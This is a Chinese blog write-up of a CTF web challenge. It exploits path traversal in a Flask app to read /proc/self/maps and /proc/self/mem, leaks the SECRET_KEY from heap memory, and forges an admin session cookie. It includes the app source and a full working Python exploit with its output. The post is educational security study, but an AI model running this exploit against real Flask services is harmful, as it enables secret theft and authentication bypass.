Skip to content
Fortyn-Blog
Go back

关于Flask中的Session伪造——基于Python对象堆内存的分析

[+]前置小知识

·什么叫python存储对象的位置在堆上?

app = Flask(__name__)
app.config['SECRET_KEY'] = 'xxxxxxxx'
#只要flask一启动:
#app对象在堆上
#app.config也在堆上
#'SECRET_KEY'也在堆上
#'xxxxxxxx'也在堆上

对象又是什么?我来举一个简单的例子:

a = 1
b = [1,2,3]
c = {"key":"val"}
#a,b,c是变量名
#三者的值是对象

前面说app是实例化后的flask的一个对象其实不是很准确,这么说的原因是源码开头有这段代码

app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
#最基础的是app = Flask(__name__)
#这里是将flask的对象赋值给app,所以应该说是app指向了实例化后flask的对象

·堆还是挺形象的,就是所有对象一个一个堆起来,最终成为一个”堆”。这是直观类比,实际堆是由内存分配器管理的虚拟地址空间。

·Flask_session机制:序列化内容+时间+防篡改值,这三部分内容加密后以符号 ’.’来进行分隔。

·/proc/self/maps是由数个<起始地址-结束地址 权限 偏移 设备:dev inode [映射来源/文件路径]>组成的,可以通过读取该文件来得到内存数据映射的地址。

·/proc/self/mem?start=<起始地址>&end=<结束地址>,是当前进程的内存内容。要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

(这知识点都已经跑到pwn那边了ಠ_ಠ)

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]寻找漏洞点

打开靶机是这样子的。扫路由发现/admin和/info,进入/admin,发现回显nonono,但是我发现该靶机存在Cookie:session=eyJhZG1pbiI6MH0.aU0lvA.dpNrMbo6PxFI0b0JUaOXXB_ZqcQ,而且每次都不一样第一段可base64解码为{"admin":0},那么猜测最终将admin的值变为1即可。这是flask_session。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]读取文件

接着随意点一个链接,发现url变为http://xx.xx.xx.xx:xxxxx/info?file=xxxxx.txt,疑似存在文件读取漏洞。传入/etc/passwd发现无法读取文件,路径遍历一下,成功读取。

那么再读取/proc/self/environ和/proc/self/cmdline看看,环境变量中没有收获,cmdline成功读到源码名app.py。那么再路径遍历读取app.py即可获取源码。最终是../app.py。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")


@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
    
    return render_template("index.html", cats_list=cats_list, cat=cat)


@app.route('/info', methods=["GET", "POST"])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
    return render_template("detail.html", catname=name, info=cat(filename, start, end))


@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

可以发现同目录下还存在cat.py,我看了下用处不大。现在主要来看/admin路由,发现确实是让admin的值为1即可获取flag。虽然我能想得到需要伪造session,但是我不知道怎么做,所以我去参考了一下大佬们的wp。

ession伪造的必要条件是获取SECRET_KEY,而python存储对象的位置在堆上,app是实例化的flask的对象,且secret_key在app.config[‘SECRET_KEY‘]中,所以可以通过/proc/self/maps中的读取特定文件来得到内存数据映射的地址,通过/proc/self/mem来读取secret_key。SECRET_KEY 之所以可被定位,是因为其值具有固定后缀*abcdefgh,并且生命周期与进程一致。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]获取secret_key并伪造session(以下是大佬的Poc,因环境不同稍作修改)

# coding=utf-8
#----------------------------------
###################################
#Edited by lx56@blog.lxscloud.top
###################################
#----------------------------------
import requests
import re
import ast, sys
from abc import ABC
from flask.sessions import SecureCookieSessionInterface


url = "http://61.147.171.105:60641/"

#此程序只能运行于Python3以上
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')

#----------------session 伪造----------------
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        self.config = {
            "SECRET_KEY": secret_key,
            "SECRET_KEY_FALLBACKS": [],
        }
        
class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
#-------------------------------------------



#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
s_key = ""
bypass = "../../../.."
#请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
    #匹配指定格式的地址
    map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
    if map_addr:
        start = int(map_addr.group(1), 16)
        end = int(map_addr.group(2), 16)
        print("Found rw addr:", start, "-", end)
        
        #设置起始和结束位置并读取/proc/self/mem
        res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
        #如果发现*abcdefgh存在其中,说明成功泄露secretkey
        if "*abcdefgh" in res.text:
            #正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
            secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
            if secret_key:
                print("Secret Key:", secret_key[0])
                s_key = secret_key[0]
                break

#设置session中admin的值为1
data = "{'admin':1}"
#伪造session
headers = {
    "Cookie" : "session=" + FSCM.encode(s_key, data)
}
#请求admin路由
try:
    flag = requests.get(url + "admin", headers=headers)
    print(headers)
    print("Flag is", flag.text)
except:
    print("Something error")
'''output:
Found rw addr: 94330474651648 - 94330474655744
Found rw addr: 94330479685632 - 94330479702016
Found rw addr: 140498668433408 - 140498668449792
Found rw addr: 140498674855936 - 140498674872320
Found rw addr: 140498676985856 - 140498678038528
Found rw addr: 140498678046720 - 140498679377920
Found rw addr: 140498679611392 - 140498680029184
Found rw addr: 140498680033280 - 140498680360960
Secret Key: 1ac1870b5bb34d96b9013ebd1cc34904*abcdefgh
{'Cookie': 'session=eyJhZG1pbiI6MX0.aU0jgg.RGYg8pht_0-ZBnH3cKX5-Zx2Tww'}
Flag is catctf{Catch_the_c4t_HaHa}
'''

成功获取flag。



Previous Post
ISCTF2025
Next Post
关于用gopher协议进行SSRF